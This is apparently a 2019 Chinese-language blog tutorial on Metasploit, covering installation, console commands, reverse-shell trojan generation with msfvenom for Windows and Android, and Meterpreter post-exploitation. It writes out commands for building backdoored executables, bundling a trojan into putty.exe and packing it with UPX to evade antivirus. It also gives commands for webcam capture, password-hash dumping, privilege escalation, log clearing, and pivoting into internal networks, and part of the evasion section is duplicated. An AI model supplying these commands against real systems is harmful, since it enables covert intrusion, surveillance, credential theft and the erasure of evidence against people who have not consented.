Metasploit入门教程

0.Metasploit简介

Metasploit是一款开源的渗透测试框架平台,到目前为止,msf已经内置了数千个已披露的漏洞相关的模块和渗透测试工具,模块使用ruby语言编写,这使得使用者能够根据需要对模块进行适当修改,甚至是调用自己写的测试模块。选定需要使用的攻击模块之后,你只需要使用简单的命令配置一些参数就能完成针对一个漏洞的测试和利用,将渗透的过程自动化、简单化。

1.Metasploit安装

Windows平台

首先从官方网站下载安装程序:
http://downloads.metasploit.com/data/releases/metasploit-latest-windows-installer.exe
默认端口:3650

关闭杀毒软件后以管理员身份运行安装程序,安装过程会附带安装PostgreSQL数据库用以存储metasploit内各模块,载荷等索引,加快搜索速度

安装完成后,在桌面生成Metasploit的快捷方式,右键以管理员身份运行将打开cmd并运行Metasploit控制台

Windows下启动Metasploit时加载时间较长,若无反应请耐心等待3-5分钟

Windows平台上,Metasploit还提供了Web访问界面,实现图形化的操作

Linux平台

从github获取

git clone https://github.com/rapid7/metasploit-framework.git

切换到metasploit-framework目录,赋予msfconsol执行权限并启动
cd metasploit-framework && chmod +x msfconsole && ./msfconsole

使用以下命令下载一键式安装程序,具体安装进度试网络情况

cd /opt &&  curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod +x msfinstall && ./msfinstall

Kali Linux自带了Metasploit以及自动化渗透工具Armitage

Android平台

安卓安装Metasploit实际上是先在安卓上安装一个linux子系统,然后再在此基础上安装Metasploit,虽然过程复杂繁琐,但在企业网络环境下进行渗透测时,拎着一台笔记本接入网络也许会太过显眼,这种情况下在安卓手机或平板上安装Metasploit也不失为一种选择

前提:安卓手机或平板需要root权限

通常选择安装Termux作为基本环境,启动后会联网下载系统,具体时间视网络环境长短不一,所以你可以选择在这时候睡个午觉什么的 =.=#

Termux使用apt包管理器,执行以下命令更新

apt-get update && apt-get upgrade -y && apt dist-upgrade -y

接下来的安装Metasploit和上述linux平台安装相同

2.使用Metasploit进行渗透测试

Terminal下msf常用命令简介

msfdb init          					msf数据库初始化
apt install metasploit framework        msf更新
msfVENOM            					多平台攻击载荷生成器
msf-nasm_shell      					将汇编指令转换成为对应的16进制机器码
msfconsole         						打开msf终端

msf终端下常用命令简介

db_status           查看数msf据库连接状态,连接数据库能够优化搜索等过程

db_rebuild_cache    重建缓存,将模块等索引重新存入数据库

db_nmap             调用nmap扫描,并将扫描结果存入数据库

help [db_connect]   显示命令的帮助信息

search [module]     搜索含有关键字的模块

use [module]        选择使用一个模块(以ms17_010永恒之蓝为例)

show payload        显示该模块支持的payload

show options        显示该模块需要设置的参数(其中required为no的表示不是必须的参数)

info                如果觉得show命令显示的不够完整可以直接输入info查看详细详细

set [opt]           使用模块后,设置模块所需要的参数的值(对应使用unset取消设置的值)

setg [opt]          设置全局参数,对于ip之类的参数可以设置为全局,当切换模块后就不需要再次设置ip参数(对应使用unsetg取消设置)

back                返回上级状态

exploit/run         两个命令都表示运行攻击模块

sessions            查看当前连接的会话

3.使用msfvenom生成木马文件

t关于payload的选择,出于防火墙等多种原因,目标主机上可能会限制外网对内网一些端口的访问,甚至是只开放一些端口然后关闭其他所有端口。在这种情况下,让目标主机回连攻击者成为更好的一种选择,这种模式相当于目标主机自己发出一个对外的连接请求,属于正常的流量,因此可以绕过安全设置,所以在选择payload时普遍选择使用带reverse的payload。

一般32位使用windows/meterpreter_reverse_tcp 而64位的使用windows/x64/meterpreter_reverse_tcp。当然仍然需要根据不同的需求选择不同的载荷
查看可使用的载荷/编码器/nops/所有列表

msfvenom -l payload/encoders/nops/all

查看可生成的木马文件格式,使用-f 指定木马格式

msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=192.168.16.99 lport=4444 -a x64 -f exe -o backdoor_raw.exe

生成安卓木马

msfvenom -p android/meterpreter_reverse_tcp lhost=192.168.16.99 lport=4444 -o backdoor_raw.apk

msf终端监听会连回话

use exploit/multi/handler           该模块用于接收回连会话,一般只需要设置监听主机和端口号

4.木马免杀

使用多个编码器混合进行多重编码
不推荐使用,免杀率低,编码时间长,且生成的木马可能会出现无法运行或运行后无法回连到攻击端的情况
"-f raw" 表示生成原始木马,这种通过管道生成的木马只需要不断传递,所以只需要在最后一条命令指定生成的格式,而在此之前都应该使用raw的原始木马

捆绑到正常文件中
推荐使用,捆绑木马到正常文件后能够使用户放松警惕,因此在实际生活中,我们应该注意比对文件与官方提供的hash值
选择捆绑目标时,有可能出现捆绑后无法运行的情况,这种情况下可以尝试使用编码器,或者更换捆绑目标,这里以putty作为例子

msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=192.168.16.99 lport=4444 -x putty.exe -k -f exe -o backdoor_putty.exe

加壳
推荐使用,加壳技术能够一定程度上绕过杀软的检测,这里使用linux上普遍使用的upx加壳为例,windows上加壳的工具也有许多,可自行选择
upx -5 backdoor_raw.elf -5 表示压缩等级(1-9),详细命令参考upx -h
上述方法综合使用
附上一个在线检测木马的网站: http://www.virscan.org/

捆绑到正常文件中
推荐使用,捆绑木马到正常文件后能够使用户放松警惕,因此在实际生活中,我们应该注意比对文件与官方提供的hash值
选择捆绑目标时,有可能出现捆绑后无法运行的情况,这种情况下可以尝试使用编码器,或者更换捆绑目标,这里以putty作为例子

加壳
推荐使用,加壳技术能够一定程度上绕过杀软的检测,这里使用linux上普遍使用的upx加壳为例,windows上加壳的工具也有许多,可自行选择
upx -5 backdoor_raw.elf -5 表示压缩等级(1-9),详细命令参考upx -h
上述方法综合使用
附上一个在线检测木马的网站: http://www.virscan.org/

5.meterpreter后渗透利用

通过exploit/multi/handler模块监听,并与目标主机建立连接后,能够使用meterpreter进行后渗透利用

pwd                 打印当前工作目录

sysinfo             查看系统信息

ps                  查看当前目标机上运行的进程列表和pid

webcam_snap         调用相机拍摄照片(使用webcam_stream能够通过浏览器模拟录像机,实现实时监控)

run vnc             运行vnc远程查看屏幕(run screen_unlock实现远程控制)

run post/windows/manage/enable_rdp          如果目标主机是windows系统,使用该命令开启目标的远程桌面3389

screenshot          截取目标主机当前屏幕

getuid              获取当前权限的用户id

getsystem           获取system权限

hashdump            获取用户名与hash口令

shell               获取目标主机shell(windows环境下中文乱码的解决办法:chcp 65001

Ctrl+Z              退出shell模式,返回到meterpreter

upload              上传一个文件

download            下载一个文件

excute              执行目标系统中的文件(-f 指定文件,-i执行可交互模式,-H隐藏窗口)

clearev             清除日志

background          将Meterpreter放入后台(使用session -i重新连接到会话)

6.Meterpreter进行内网渗透简介

在渗透过程中,当你拿到一台能够连接公网的的主机的权限时,这台主机可能还连接着一个内部的局域网络,而且这个局域网内的其他主机没有对外访问的权限。这是一种很常见的局域网模式,通常一些无法连接外网的主机内可能存放着一些敏感文件,此时可以通过以及控制的那台主机作为攻击者访问内网的跳板,用来实施对内网的渗透
添加到达内网的路由

run get_local_subnets           		获取目标主机上的子网状态,其中192.168.16.0和攻击机在同一个网段,169.254.0.0是vritualbox的内部网卡模式

run autoroute -s 169.254.0.0/16 1        使用autoroute模块添加到达内网的路由经session 1转发

run autoroute -p                         查看当前的路由表,可以看到发往169.254.0.0网段的流量都将通过session 1转发

接下来就可以在msf下使用db_nmap扫描内网存活主机,针对内网的开放端口进行攻击
portfwd端口转发
端口转发能够将内网端口转发到本地主机的端口,相当于virtualbox的端口映射功能。
portfwd -h                     						查看帮助信息

portfwd add -l 7070 -r 192.168.16.59 -p 3389        将目标主机192.168.16.59的3389转发到本地主机的7070端口

rdesktop 127.0.0.1:7070         					端口转发成功后就可以从本地端口连接rdp

参考书籍《Metasploit The Penetration Tester's Guide.》《Metasploit渗透测试指南(修订版)》

posted @ 2019-07-28 11:34  大雁blogs  阅读(9170)  评论(2编辑  收藏  举报